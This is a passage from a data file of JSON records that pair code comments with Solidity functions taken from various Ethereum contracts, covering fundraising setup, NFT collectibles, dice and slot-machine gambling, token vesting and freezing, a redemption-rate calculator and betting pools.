_vaultCache(),\r\n collaterals[0],\r\n _goal,\r\n _period,\r\n _exchangeRate,\r\n _vestingCliffPeriod,\r\n _vestingCompletePeriod,\r\n _supplyOfferedPct,\r\n _fundingForBeneficiaryPct,\r\n _openDate\r\n );\r\n }", "version": "0.4.24"} {"comment": "/***** internal setup functions *****/", "function_code": "function _setupCollaterals(\r\n Kernel _dao,\r\n uint256[2] _virtualSupplies,\r\n uint256[2] _virtualBalances,\r\n uint256[2] _slippages,\r\n uint256 _rateDAI,\r\n uint256 _floorDAI\r\n )\r\n internal\r\n {\r\n ACL acl = ACL(_dao.acl());\r\n (, Voting shareVoting) = _shareAppsCache();\r\n (,,,, AragonFundraisingController controller) = _fundraisingAppsCache();\r\n\r\n // create and grant ADD_COLLATERAL_TOKEN_ROLE to this template\r\n _createPermissionForTemplate(acl, address(controller), controller.ADD_COLLATERAL_TOKEN_ROLE());\r\n // add DAI both as a protected collateral and a tapped token\r\n controller.addCollateralToken(\r\n collaterals[0],\r\n _virtualSupplies[0],\r\n _virtualBalances[0],\r\n DAI_RESERVE_RATIO,\r\n _slippages[0],\r\n _rateDAI,\r\n _floorDAI\r\n );\r\n // add ANT as a protected collateral [but not as a tapped token]\r\n controller.addCollateralToken(\r\n collaterals[1],\r\n _virtualSupplies[1],\r\n _virtualBalances[1],\r\n ANT_RESERVE_RATIO,\r\n _slippages[1],\r\n 0,\r\n 0\r\n );\r\n // transfer ADD_COLLATERAL_TOKEN_ROLE\r\n _transferPermissionFromTemplate(acl, controller, shareVoting, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Generate new Reward Collectible and transfer it to the owner, with isAttached as 0.\r\n * @notice Helps in redeeming the Rewards using our Oracle. Creates & transfers the asset to the redeemer (_owner)\r\n * The generation of an asset if limited via the generationSeasonController\r\n * @param _teamId teamId of the asset/token/collectible\r\n * @param _posId position of the asset/token/collectible\r\n * @param _attributes attributes of asset/token/collectible\r\n * @param _owner owner (redeemer) of asset/token/collectible\r\n * @param _gameId mlb game Identifier\r\n * @param _playerOverrideId player override identifier\r\n * @param _mlbPlayerId official mlb player identifier\r\n */", "function_code": "function createRewardCollectible (\r\n uint8 _teamId,\r\n uint8 _posId,\r\n uint256 _attributes,\r\n address _owner,\r\n uint256 _gameId,\r\n uint256 _playerOverrideId,\r\n uint256 _mlbPlayerId)\r\n external\r\n canCreate\r\n whenNotPaused\r\n returns (uint256) {\r\n\r\n address nftOwner = _owner;\r\n \r\n if (nftOwner == address(0)) {\r\n nftOwner = managerPrimary;\r\n }\r\n \r\n rewardsRedeemed++;\r\n uint32 _sequenceId = getSequenceId(_teamId);\r\n \r\n uint256 assetDetails = uint256(uint64(now));\r\n assetDetails |= uint256(_sequenceId)<<64;\r\n assetDetails |= uint256(_teamId)<<96;\r\n assetDetails |= uint256(_posId)<<104;\r\n\r\n uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];\r\n \r\n return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);\r\n }", "version": "0.4.24"} {"comment": "// function create(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable, uint256 noOfTokens) onlyOwner public returns(StandardTokenVesting) {", "function_code": "function create(address _beneficiary, uint256 _cliff, uint256 _duration, bool _revocable, uint256 noOfTokens) public onlyOwner returns(StandardTokenVesting) {\n StandardTokenVesting vesting = new StandardTokenVesting(_beneficiary, now , _cliff , _duration, _revocable);\n\n vesting.transferOwnership(msg.sender);\n vestingContractAddresses[_beneficiary] = vesting;\n emit CreatedStandardVestingContract(vesting);\n assert(token.transferFrom(owner, vesting, noOfTokens));\n\n return vesting;\n }", "version": "0.4.24"} {"comment": "// Funds withdrawal to cover costs of fairwin operation.", "function_code": "function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {\r\n require (withdrawAmount <= address(this).balance, \"Increase amount larger than balance.\");\r\n require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, \"Not enough funds.\");\r\n sendFunds(beneficiary, withdrawAmount, withdrawAmount);\r\n }", "version": "0.4.24"} {"comment": "// This is the method used to settle 99% of bets. To process a bet with a specific\n// \"commit\", settleBet should supply a \"reveal\" number that would Keccak256-hash to\n// \"commit\". \"blockHash\" is the block hash of placeBet block as seen by croupier; it\n// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.", "function_code": "function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {\r\n uint commit = uint(keccak256(abi.encodePacked(reveal)));\r\n\r\n Bet storage bet = bets[commit];\r\n uint placeBlockNumber = bet.placeBlockNumber;\r\n\r\n // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).\r\n require (block.number > placeBlockNumber, \"settleBet in the same block as placeBet, or before.\");\r\n require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, \"Blockhash can't be queried by EVM.\");\r\n require (blockhash(placeBlockNumber) == blockHash);\r\n\r\n // Settle bet using reveal and blockHash as entropy sources.\r\n settleBetCommon(bet, reveal, blockHash);\r\n }", "version": "0.4.24"} {"comment": "// This method is used to settle a bet that was mined into an uncle block. At this\n// point the player was shown some bet outcome, but the blockhash at placeBet height\n// is different because of Ethereum chain reorg. We supply a full merkle proof of the\n// placeBet transaction receipt to provide untamperable evidence that uncle block hash\n// indeed was present on-chain at some point.", "function_code": "function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {\r\n // \"commit\" for bet settlement can only be obtained by hashing a \"reveal\".\r\n uint commit = uint(keccak256(abi.encodePacked(reveal)));\r\n\r\n Bet storage bet = bets[commit];\r\n\r\n // Check that canonical block hash can still be verified.\r\n require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, \"Blockhash can't be queried by EVM.\");\r\n\r\n // Verify placeBet receipt.\r\n requireCorrectReceipt(4 + 32 + 32 + 4);\r\n\r\n // Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them.\r\n bytes32 canonicalHash;\r\n bytes32 uncleHash;\r\n (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);\r\n require (blockhash(canonicalBlockNumber) == canonicalHash);\r\n\r\n // Settle bet using reveal and uncleHash as entropy sources.\r\n settleBetCommon(bet, reveal, uncleHash);\r\n }", "version": "0.4.24"} {"comment": "// Refund transaction - return the bet amount of a roll that was not processed in a\n// due timeframe. Processing such blocks is not possible due to EVM limitations (see\n// BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself\n// in a situation like this, just contact the fairwin support, however nothing\n// precludes you from invoking this method yourself.", "function_code": "function refundBet(uint commit) external {\r\n // Check that bet is in 'active' state.\r\n Bet storage bet = bets[commit];\r\n uint amount = bet.amount;\r\n\r\n require (amount != 0, \"Bet should be in an 'active' state\");\r\n\r\n // Check that bet has already expired.\r\n require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, \"Blockhash can't be queried by EVM.\");\r\n\r\n // Move bet into 'processed' state, release funds.\r\n bet.amount = 0;\r\n\r\n uint diceWinAmount;\r\n uint jackpotFee;\r\n (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);\r\n\r\n lockedInBets -= uint128(diceWinAmount);\r\n jackpotSize -= uint128(jackpotFee);\r\n\r\n // Send the refund.\r\n sendFunds(bet.gambler, amount, amount);\r\n }", "version": "0.4.24"} {"comment": "// Get the expected win amount after house edge is subtracted.", "function_code": "function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {\r\n require (0 < rollUnder && rollUnder <= modulo, \"Win probability out of range.\");\r\n\r\n jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;\r\n\r\n uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;\r\n\r\n if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {\r\n houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;\r\n }\r\n\r\n require (houseEdge + jackpotFee <= amount, \"Bet doesn't even cover house edge.\");\r\n winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;\r\n }", "version": "0.4.24"} {"comment": "// Memory copy.", "function_code": "function memcpy(uint dest, uint src, uint len) pure private {\r\n // Full 32 byte words\r\n for(; len >= 32; len -= 32) {\r\n assembly { mstore(dest, mload(src)) }\r\n dest += 32; src += 32;\r\n }\r\n\r\n // Remaining bytes\r\n uint mask = 256 ** (32 - len) - 1;\r\n assembly {\r\n let srcpart := and(mload(src), not(mask))\r\n let destpart := and(mload(dest), mask)\r\n mstore(dest, or(destpart, srcpart))\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Generate new ETH Card Collectible, with isAttached as 2.\r\n * @notice Helps to generate Collectibles/Tokens/Asset and transfer to ETH Cards,\r\n * which can be redeemed using our web-app.The generation of an asset if limited via the generationSeasonController\r\n * @param _teamId teamId of the asset/token/collectible\r\n * @param _posId position of the asset/token/collectible\r\n * @param _attributes attributes of asset/token/collectible\r\n * @param _owner owner of asset/token/collectible\r\n * @param _gameId mlb game Identifier\r\n * @param _playerOverrideId player override identifier\r\n * @param _mlbPlayerId official mlb player identifier\r\n */", "function_code": "function createETHCardCollectible (\r\n uint8 _teamId,\r\n uint8 _posId,\r\n uint256 _attributes,\r\n address _owner,\r\n uint256 _gameId,\r\n uint256 _playerOverrideId,\r\n uint256 _mlbPlayerId)\r\n external\r\n canCreate\r\n whenNotPaused\r\n returns (uint256) {\r\n\r\n address nftOwner = _owner;\r\n \r\n if (nftOwner == address(0)) {\r\n nftOwner = managerPrimary;\r\n }\r\n \r\n rewardsRedeemed++;\r\n uint32 _sequenceId = getSequenceId(_teamId);\r\n \r\n uint256 assetDetails = uint256(uint64(now));\r\n assetDetails |= uint256(_sequenceId)<<64;\r\n assetDetails |= uint256(_teamId)<<96;\r\n assetDetails |= uint256(_posId)<<104;\r\n\r\n uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];\r\n \r\n return _createNFTCollectible(_teamId, _attributes, nftOwner, 2, _nftData);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns all the relevant information about a specific Collectible.\r\n * @notice Get details about your collectible\r\n * @param _tokenId The token identifier\r\n * @return isAttached Is Object attached\r\n * @return teamId team identifier of the asset/token/collectible\r\n * @return positionId position identifier of the asset/token/collectible\r\n * @return creationTime creation timestamp\r\n * @return attributes attribute of the asset/token/collectible\r\n * @return currentGameCardId current game card of the asset/token/collectible\r\n * @return mlbGameID mlb game identifier in which the asset/token/collectible was generated\r\n * @return playerOverrideId player override identifier of the asset/token/collectible\r\n * @return playerStatus status of the player (Rookie/Veteran/Historical)\r\n * @return playerHandedness handedness of the asset\r\n * @return mlbPlayerId official MLB Player Identifier\r\n */", "function_code": "function getCollectibleDetails(uint256 _tokenId)\r\n external\r\n view\r\n returns (\r\n uint256 isAttached,\r\n uint32 sequenceId,\r\n uint8 teamId,\r\n uint8 positionId,\r\n uint64 creationTime,\r\n uint256 attributes,\r\n uint256 playerOverrideId,\r\n uint256 mlbGameId,\r\n uint256 currentGameCardId,\r\n uint256 mlbPlayerId,\r\n uint256 earnedBy,\r\n uint256 generationSeason\r\n ) {\r\n NFT memory obj = _getAttributesOfToken(_tokenId);\r\n \r\n attributes = obj.attributes;\r\n currentGameCardId = obj.currentGameCardId;\r\n mlbGameId = obj.mlbGameId;\r\n playerOverrideId = obj.playerOverrideId;\r\n mlbPlayerId = obj.mlbPlayerId;\r\n\r\n creationTime = uint64(obj.assetDetails);\r\n sequenceId = uint32(obj.assetDetails>>64);\r\n teamId = uint8(obj.assetDetails>>96);\r\n positionId = uint8(obj.assetDetails>>104);\r\n isAttached = obj.isAttached;\r\n earnedBy = obj.earnedBy;\r\n\r\n generationSeason = generationSeasonDict[(obj.attributes % 1000000) / 1000];\r\n }", "version": "0.4.24"} {"comment": "// External function", "function_code": "function spin(bytes32 hash, uint8 _v, bytes32 _r, bytes32 _s)\r\n external\r\n payable\r\n mustSignWithECDSA(hash, _v, _r, _s)\r\n {\r\n // Conditions\r\n require(msg.value >= minimumWager, \"wager must be greater than or equal minimumWager.\");\r\n require(msg.value <= maximumWager, \"wager must be lower than or equal maximumWager.\");\r\n require(\r\n address(this).balance >= msg.value * maximumMultiplier, \r\n \"contract balance must greater than wager * maximumMultiplier.\"\r\n );\r\n require(msg.sender == tx.origin, 'only EOA can call this contract');\r\n\r\n \r\n //Interaction\r\n string memory firstSymbol;\r\n string memory secondSymbol;\r\n string memory thirdSymbol;\r\n uint rewardAmount = 0;\r\n uint8 multiplier = 0;\r\n uint8 cherryCount = 0;\r\n bool isWin = false;\r\n\r\n (firstSymbol, secondSymbol, thirdSymbol) = _findThreeSymbols(_s);\r\n \r\n if (_isWin(firstSymbol, secondSymbol, thirdSymbol)) {\r\n // Normal win\r\n isWin = true;\r\n (rewardAmount, multiplier) = _calculateRewardAmount(msg.value, firstSymbol);\r\n _sendReward(rewardAmount);\r\n } else {\r\n cherryCount = _countCherry(firstSymbol, secondSymbol, thirdSymbol);\r\n if (cherryCount > 0) {\r\n // Cherry win\r\n isWin = true;\r\n (rewardAmount, multiplier) = _calculateRewardAmountForCherry(msg.value, cherryCount);\r\n _sendCherryReward(rewardAmount);\r\n }\r\n }\r\n\r\n emit LogSpinResult(msg.sender, msg.value, isWin, firstSymbol, secondSymbol, thirdSymbol, multiplier, rewardAmount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Only allows trasnctions to go throught if the msg.sender is in the apporved list\r\n * @notice Updates the gameCardID properrty of the asset\r\n * @param _gameCardNumber The game card number\r\n * @param _playerId The player identifier\r\n */", "function_code": "function updateCurrentGameCardId(uint256 _gameCardNumber, uint256 _playerId) public whenNotPaused {\r\n require (contractsApprovedList[msg.sender]);\r\n\r\n NFT memory obj = _getAttributesOfToken(_playerId);\r\n \r\n obj.currentGameCardId = _gameCardNumber;\r\n \r\n if ( _gameCardNumber == 0 ) {\r\n obj.isAttached = 0;\r\n } else {\r\n obj.isAttached = 1;\r\n }\r\n\r\n allNFTs[_playerId] = obj;\r\n }", "version": "0.4.24"} {"comment": "// redeem(): burn one star token, receive ownership of the most recently deposited star in exchange\n//", "function_code": "function redeem() external returns (uint16) {\n // must have sufficient balance\n require(startoken.balanceOf(_msgSender()) >= ONE_STAR, \"Treasury: Not enough balance\");\n\n // there must be at least one star in the asset list\n require(assets.length > 0, \"Treasury: no star available to redeem\");\n\n // remove the star to be redeemed\n uint16 _star = assets[assets.length-1];\n assets.pop();\n\n // burn the tokens\n startoken.ownerBurn(_msgSender(), ONE_STAR);\n\n // transfer ownership\n // note: Treasury should be the owner of the point and able to transfer it. this check happens inside\n // transferPoint().\n IEcliptic ecliptic = IEcliptic(azimuth.owner());\n // note: _star is uint16, ecliptic expects a uint32 point\n ecliptic.transferPoint(_star, _msgSender(), true);\n\n emit Redeem(azimuth.getPrefix(_star), _star, _msgSender());\n return _star;\n }", "version": "0.8.9"} {"comment": "// Decrease the amount of tokens that an owner allowed to a spender.\n// approve should be called when allowed[spender] == 0.\n// To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined)", "function_code": "function decreaseApproval(address spender, uint256 subtractedValue ) public returns (bool){\n uint256 oldValue = allowed[msg.sender][spender];\n if (subtractedValue >= oldValue) {\n allowed[msg.sender][spender] = 0;\n } else {\n allowed[msg.sender][spender] = oldValue.sub(subtractedValue);\n }\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }", "version": "0.4.24"} {"comment": "//freeze HXY tokens to contract", "function_code": "function Freeze(address token)\r\n public\r\n {\r\n if(isFreezeFinished(msg.sender, token)){\r\n Unfreeze(token);//unfreezes all currently frozen tokens\r\n }\r\n uint amt;\r\n //update balances\r\n if(token == hxyAddress){\r\n amt = mintedHxy[msg.sender];\r\n require(amt > 0, \"Error: insufficient balance available to freeze\");//ensure user has enough funds allocated\r\n mintedHxy[msg.sender] = 0;\r\n tokenHxyFrozenBalances[msg.sender] += amt;\r\n totalHxyFrozen += amt;\r\n frozen[msg.sender].freezeHxyStartTimestamp = now;\r\n }\r\n else if(token == hxbAddress){\r\n amt = mintedHxb[msg.sender];\r\n require(amt > 0, \"Error: insufficient balance available to lock\");//ensure user has enough funds allocated\r\n mintedHxb[msg.sender] = 0;\r\n tokenHxbLockedBalances[msg.sender] += amt;\r\n totalHxbLocked += amt;\r\n frozen[msg.sender].lockHxbStartTimestamp = now;\r\n }\r\n else if(token == hxpAddress){\r\n amt = mintedHxp[msg.sender];\r\n require(amt > 0, \"Error: insufficient balance available to freeze\");//ensure user has enough funds allocated\r\n mintedHxp[msg.sender] = 0;\r\n tokenHxpFrozenBalances[msg.sender] += amt;\r\n totalHxpFrozen += amt;\r\n frozen[msg.sender].freezeHxpStartTimestamp = now;\r\n }\r\n else{\r\n revert();\r\n }\r\n emit TokenFreeze(msg.sender, amt, token);\r\n }", "version": "0.6.4"} {"comment": "//unfreeze HXY tokens from contract", "function_code": "function Unfreeze(address token)\r\n public\r\n {\r\n uint amt;\r\n if(token == hxyAddress){\r\n require(tokenHxyFrozenBalances[msg.sender] > 0,\"Error: unsufficient frozen balance\");//ensure user has enough frozen funds\r\n require(isFreezeFinished(msg.sender, token), \"tokens cannot be unfrozen yet, min 90 days\");\r\n amt = tokenHxyFrozenBalances[msg.sender];\r\n tokenHxyFrozenBalances[msg.sender] = 0;\r\n frozen[msg.sender].freezeHxyStartTimestamp = 0;\r\n totalHxyFrozen -= amt;\r\n hxy.transfer(msg.sender, amt);//make transfer\r\n }\r\n else if(token == hxbAddress){\r\n require(tokenHxbLockedBalances[msg.sender] > 0,\"Error: unsufficient frozen balance\");//ensure user has enough frozen funds\r\n require(isFreezeFinished(msg.sender, token), \"tokens cannot be unlocked yet, max HXB supply much be reached\");\r\n amt = tokenHxbLockedBalances[msg.sender];\r\n tokenHxbLockedBalances[msg.sender] = 0;\r\n frozen[msg.sender].lockHxbStartTimestamp = 0;\r\n totalHxbLocked -= amt;\r\n hxb.transfer(msg.sender, amt);//make transfer\r\n }\r\n else if(token == hxpAddress){\r\n require(tokenHxpFrozenBalances[msg.sender] > 0,\"Error: unsufficient frozen balance\");//ensure user has enough frozen funds\r\n require(isFreezeFinished(msg.sender, token), \"tokens cannot be unfrozen yet, can be unfrozen on platform launch\");\r\n amt = tokenHxpFrozenBalances[msg.sender];\r\n tokenHxpFrozenBalances[msg.sender] = 0;\r\n frozen[msg.sender].freezeHxpStartTimestamp = 0;\r\n totalHxpFrozen -= amt;\r\n hxp.transfer(msg.sender, amt);//make transfer\r\n }\r\n\r\n else{\r\n revert();\r\n }\r\n\r\n emit TokenUnfreeze(msg.sender, amt, token);\r\n }", "version": "0.6.4"} {"comment": "//HXY frozen for 365 days , HXB locked till maxSupply , HXP frozen till platform launch", "function_code": "function isFreezeFinished(address _user, address token)\r\n public\r\n view\r\n returns(bool)\r\n {\r\n if(token == hxyAddress){\r\n if(frozen[_user].freezeHxyStartTimestamp == 0){\r\n return false;\r\n }\r\n else{\r\n return (frozen[_user].freezeHxyStartTimestamp + (365 * daySeconds)) <= now; \r\n }\r\n }\r\n else if(token == hxbAddress){\r\n if(frozen[_user].lockHxbStartTimestamp == 0){\r\n return false;\r\n }\r\n else{\r\n return hxb.mintBlock(); \r\n }\r\n }\r\n else if(token == hxpAddress){\r\n if(frozen[_user].freezeHxpStartTimestamp == 0){\r\n return false;\r\n }\r\n else{\r\n return hxpUnlocked;\r\n }\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "version": "0.6.4"} {"comment": "/**\r\n * @dev A batch function to facilitate batching of asset creation. canCreate modifier\r\n * helps in controlling who can call the function\r\n * @notice Batch Function to Create Assets\r\n * @param _teamId The team identifier\r\n * @param _attributes The attributes\r\n * @param _playerOverrideId The player override identifier\r\n * @param _mlbPlayerId The mlb player identifier\r\n * @param _to To Address\r\n */", "function_code": "function batchCreateAsset(\r\n uint8[] _teamId,\r\n uint256[] _attributes,\r\n uint256[] _playerOverrideId,\r\n uint256[] _mlbPlayerId,\r\n address[] _to)\r\n external\r\n canCreate\r\n whenNotPaused {\r\n require (isBatchSupported);\r\n\r\n require (_teamId.length > 0 && _attributes.length > 0 && \r\n _playerOverrideId.length > 0 && _mlbPlayerId.length > 0 && \r\n _to.length > 0);\r\n\r\n uint256 assetDetails;\r\n uint256[5] memory _nftData;\r\n \r\n for(uint ii = 0; ii < _attributes.length; ii++){\r\n require (_to[ii] != address(0) && _teamId[ii] != 0 && _attributes.length != 0 && \r\n _mlbPlayerId[ii] != 0);\r\n \r\n assetDetails = uint256(uint64(now));\r\n assetDetails |= uint256(getSequenceId(_teamId[ii]))<<64;\r\n assetDetails |= uint256(_teamId[ii])<<96;\r\n assetDetails |= uint256((_attributes[ii]/1000000000000000000000000000000000000000)-800)<<104;\r\n \r\n _nftData = [assetDetails, _attributes[ii], 0, _playerOverrideId[ii], _mlbPlayerId[ii]];\r\n \r\n _createNFTCollectible(_teamId[ii], _attributes[ii], _to[ii], 0, _nftData);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/*\n * @notify Modify an uint256 parameter\n * @param parameter The name of the parameter to change\n * @param val The new value for the parameter\n */", "function_code": "function modifyParameters(bytes32 parameter, uint256 val) external isAuthority {\n if (parameter == \"nb\") {\n require(both(val > 0, val <= EIGHTEEN_DECIMAL_NUMBER), \"PRawPerSecondCalculator/invalid-nb\");\n noiseBarrier = val;\n }\n else if (parameter == \"ps\") {\n require(val > 0, \"PRawPerSecondCalculator/null-ps\");\n periodSize = val;\n }\n else if (parameter == \"foub\") {\n require(both(val < subtract(subtract(uint(-1), defaultRedemptionRate), 1), val > 0), \"PRawPerSecondCalculator/invalid-foub\");\n feedbackOutputUpperBound = val;\n }\n else if (parameter == \"allReaderToggle\") {\n allReaderToggle = val;\n }\n else revert(\"PRawPerSecondCalculator/modify-unrecognized-param\");\n }", "version": "0.6.7"} {"comment": "/**\r\n * @dev Overriden TransferFrom, with the modifier canTransfer which uses our attachment system\r\n * @notice Helps in trasnferring assets\r\n * @param _from the address sending from\r\n * @param _to the address sending to\r\n * @param _tokenId The token identifier\r\n */", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _tokenId\r\n )\r\n public\r\n canTransfer(_tokenId)\r\n {\r\n // Asset should not be in play\r\n require (checkIsAttached(_tokenId) == 0);\r\n \r\n require (_from != address(0));\r\n\r\n require (_to != address(0));\r\n\r\n clearApproval(_from, _tokenId);\r\n removeTokenFrom(_from, _tokenId);\r\n addTokenTo(_to, _tokenId);\r\n\r\n emit Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.24"} {"comment": "/*\n * @notice Return a redemption rate bounded by feedbackOutputLowerBound and feedbackOutputUpperBound as well as the\n timeline over which that rate will take effect\n * @param pOutput The raw redemption rate computed from the proportional and integral terms\n */", "function_code": "function getBoundedRedemptionRate(int pOutput) public isReader view returns (uint256, uint256) {\n int boundedPOutput = pOutput;\n uint newRedemptionRate;\n\n if (pOutput < feedbackOutputLowerBound) {\n boundedPOutput = feedbackOutputLowerBound;\n } else if (pOutput > int(feedbackOutputUpperBound)) {\n boundedPOutput = int(feedbackOutputUpperBound);\n }\n\n // newRedemptionRate cannot be lower than 10^0 (1) because of the way rpower is designed\n bool negativeOutputExceedsHundred = (boundedPOutput < 0 && -boundedPOutput >= int(defaultRedemptionRate));\n\n // If it is smaller than 1, set it to the nagative rate limit\n if (negativeOutputExceedsHundred) {\n newRedemptionRate = NEGATIVE_RATE_LIMIT;\n } else {\n // If boundedPOutput is lower than -int(NEGATIVE_RATE_LIMIT) set newRedemptionRate to 1\n if (boundedPOutput < 0 && boundedPOutput <= -int(NEGATIVE_RATE_LIMIT)) {\n newRedemptionRate = uint(addition(int(defaultRedemptionRate), -int(NEGATIVE_RATE_LIMIT)));\n } else {\n // Otherwise add defaultRedemptionRate and boundedPOutput together\n newRedemptionRate = uint(addition(int(defaultRedemptionRate), boundedPOutput));\n }\n }\n\n return (newRedemptionRate, defaultGlobalTimeline);\n }", "version": "0.6.7"} {"comment": "/*\n * @notice Compute and return the upcoming redemption rate\n * @param marketPrice The system coin market price\n * @param redemptionPrice The system coin redemption price\n */", "function_code": "function getNextRedemptionRate(uint marketPrice, uint redemptionPrice, uint)\n public isReader view returns (uint256, int256, uint256) {\n // The proportional term is just redemption - market. Market is read as having 18 decimals so we multiply by 10**9\n // in order to have 27 decimals like the redemption price\n int256 rawProportionalTerm = subtract(int(redemptionPrice), multiply(int(marketPrice), int(10**9)));\n // Multiply P by Kp\n int256 gainProportionalTerm = multiply(rawProportionalTerm, int(Kp)) / int(EIGHTEEN_DECIMAL_NUMBER);\n // If the P * Kp output breaks the noise barrier, you can recompute a non null rate. Also make sure the output is not null\n if (\n breaksNoiseBarrier(absolute(gainProportionalTerm), redemptionPrice) &&\n gainProportionalTerm != 0\n ) {\n // Get the new redemption rate by taking into account the feedbackOutputUpperBound and feedbackOutputLowerBound\n (uint newRedemptionRate, uint rateTimeline) = getBoundedRedemptionRate(gainProportionalTerm);\n return (newRedemptionRate, rawProportionalTerm, rateTimeline);\n } else {\n return (TWENTY_SEVEN_DECIMAL_NUMBER, rawProportionalTerm, defaultGlobalTimeline);\n }\n }", "version": "0.6.7"} {"comment": "/**\r\n * @dev Facilitates batch trasnfer of collectible with multiple TO Address, depending if batch is supported on contract.\r\n * @notice Batch Trasnfer with multpple TO addresses\r\n * @param _tokenIds The token identifiers\r\n * @param _fromB the address sending from\r\n * @param _toB the address sending to\r\n */", "function_code": "function multiBatchTransferFrom(\r\n uint256[] _tokenIds, \r\n address[] _fromB, \r\n address[] _toB) \r\n public\r\n {\r\n require (isBatchSupported);\r\n\r\n require (_tokenIds.length > 0 && _fromB.length > 0 && _toB.length > 0);\r\n\r\n uint256 _id;\r\n address _to;\r\n address _from;\r\n \r\n for (uint256 i = 0; i < _tokenIds.length; ++i) {\r\n\r\n require (_tokenIds[i] != 0 && _fromB[i] != 0 && _toB[i] != 0);\r\n\r\n _id = _tokenIds[i];\r\n _to = _toB[i];\r\n _from = _fromB[i];\r\n\r\n transferFrom(_from, _to, _id);\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Updates House Oracle function\r\n *\r\n */", "function_code": "function changeHouseOracle(address oracleAddress, uint oraclePercentage) onlyOwner public {\r\n require(add(houseData.housePercentage,oraclePercentage)<1000,\"House + Oracle percentage should be lower than 100%\");\r\n if (oracleAddress != houseData.oracleAddress) {\r\n houseData.oldOracleAddress = houseData.oracleAddress;\r\n houseData.oracleAddress = oracleAddress;\r\n }\r\n houseData.oraclePercentage = oraclePercentage;\r\n emit HousePropertiesUpdated();\r\n }", "version": "0.5.8"} {"comment": "/*\r\n * Places a Pool Bet\r\n */", "function_code": "function placePoolBet(uint eventId, uint outputId, uint forecast, uint closingDateTime, uint256 minimumWager, uint256 maximumWager, string memory createdBy) payable public {\r\n require(msg.value > 0,\"Wager should be greater than zero\");\r\n require(!houseData.newBetsPaused,\"Bets are paused right now\");\r\n betNextId += 1;\r\n bets[betNextId].oracleAddress = houseData.oracleAddress;\r\n bets[betNextId].betType = BetType.poolbet;\r\n bets[betNextId].createdBy = msg.sender;\r\n\r\n updateBetDataFromOracle(betNextId, eventId, outputId);\r\n require(!bets[betNextId].isCancelled,\"Event has been cancelled\");\r\n require(!bets[betNextId].isOutcomeSet,\"Event has already an outcome\");\r\n if (closingDateTime>0) {\r\n setBetCloseTime(betNextId, closingDateTime);\r\n } \r\n uint betCloseTime = getBetCloseTime(betNextId);\r\n require(betCloseTime >= now,\"Close time has passed\");\r\n setBetEventId(betNextId, eventId);\r\n setBetEventOutputId(betNextId, outputId);\r\n if (minimumWager != 0) {\r\n bets[betNextId].minimumWager = minimumWager;\r\n } else {\r\n bets[betNextId].minimumWager = msg.value;\r\n }\r\n if (maximumWager != 0) {\r\n bets[betNextId].maximumWager = maximumWager;\r\n }\r\n \r\n playerBetTotalBets[msg.sender][betNextId] = 1;\r\n betTotalBets[betNextId] = 1;\r\n betTotalAmount[betNextId] = msg.value;\r\n \r\n betForcastTotalAmount[betNextId][forecast] = msg.value;\r\n\r\n playerBetTotalAmount[msg.sender][betNextId] = msg.value;\r\n\r\n playerBetForecastWager[msg.sender][betNextId][forecast] = msg.value;\r\n\r\n lastBettingActivity = block.number;\r\n\r\n playerHasBet[msg.sender] = true;\r\n \r\n emit BetPlacedOrModified(betNextId, msg.sender, BetEvent.placeBet, msg.value, forecast, createdBy, betCloseTime);\r\n }", "version": "0.5.8"} {"comment": "/*\r\n * Places a HeadToHEad Bet\r\n */", "function_code": "function placeH2HBet(uint eventId, uint outputId, uint forecast, uint closingDateTime, uint256 payoutRate, string memory createdBy) payable public {\r\n require(msg.value > 0,\"Wager should be greater than zero\");\r\n require(!houseData.newBetsPaused,\"Bets are paused right now\");\r\n betNextId += 1;\r\n bets[betNextId].oracleAddress = houseData.oracleAddress;\r\n bets[betNextId].betType = BetType.headtohead;\r\n bets[betNextId].createdBy = msg.sender;\r\n updateBetDataFromOracle(betNextId, eventId, outputId);\r\n require(!bets[betNextId].isCancelled,\"Event has been cancelled\");\r\n require(!bets[betNextId].isOutcomeSet,\"Event has already an outcome\");\r\n if (closingDateTime>0) {\r\n setBetCloseTime(betNextId, closingDateTime);\r\n } \r\n uint betCloseTime = getBetCloseTime(betNextId);\r\n require( betCloseTime >= now,\"Close time has passed\");\r\n setBetEventId(betNextId, eventId);\r\n setBetEventOutputId(betNextId, outputId);\r\n checkPayoutRate(payoutRate);\r\n 